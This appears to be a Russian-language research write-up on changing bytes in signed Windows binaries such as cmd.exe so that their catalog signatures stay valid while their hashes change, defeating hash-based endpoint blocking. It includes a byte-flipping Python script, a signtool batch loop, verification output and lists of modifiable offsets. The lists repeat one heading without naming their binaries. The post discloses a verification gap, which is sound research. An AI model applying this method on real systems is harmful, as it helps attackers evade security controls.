
Видоизменяет подписанные бинарные файлы Windows для сохранения действительных подписей каталога при изменении хешей файлов, обходя блокировки конечных точек на основе хешей и раскрывая пробелы в верификации Authenticode.
Идея заключалась в обходе endpoint-решений, которые блокируют известные «вредоносные» подписанные приложения, такие как «regsvr32.exe». Я хотел найти способ получить действительный подписанный файл с другим хешем.
Используя signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
Я думал, что «Hash of file» — это SHA1 файла cmd.exe, судя по выводу (7EB22CBAA74B208DF433C70C06A99280036A52F3)
Дальнейшая проверка показала, что SHA1 файла cmd.exe был:
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Интересно: один и тот же файл, два разных хеша.
На этом этапе я заподозрил, что подпись может не охватывать все секции файла.
Я написал простой скрипт на Python для генерации тестовых файлов.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
Затем была выполнена команда python generate.py cmd.exe, которая создала более 300 ГБ новых файлов.
Теперь нам нужно проверить каждый созданный файл, чтобы увидеть, проходят ли они проверку подписи.
Простой пакетный файл может сделать это:
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
Бинарный файл 330.exe прошёл проверку подписи. В данном случае файл отличается, поскольку был изменён байт со смещением 330.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Следующие байты можно изменять, не нарушая подпись:
330, 331, 408 - 412
Следующие байты можно изменять, не нарушая подпись:
320 - 323, 400 - 407
Следующие байты можно изменять, не нарушая подпись:
216 - 219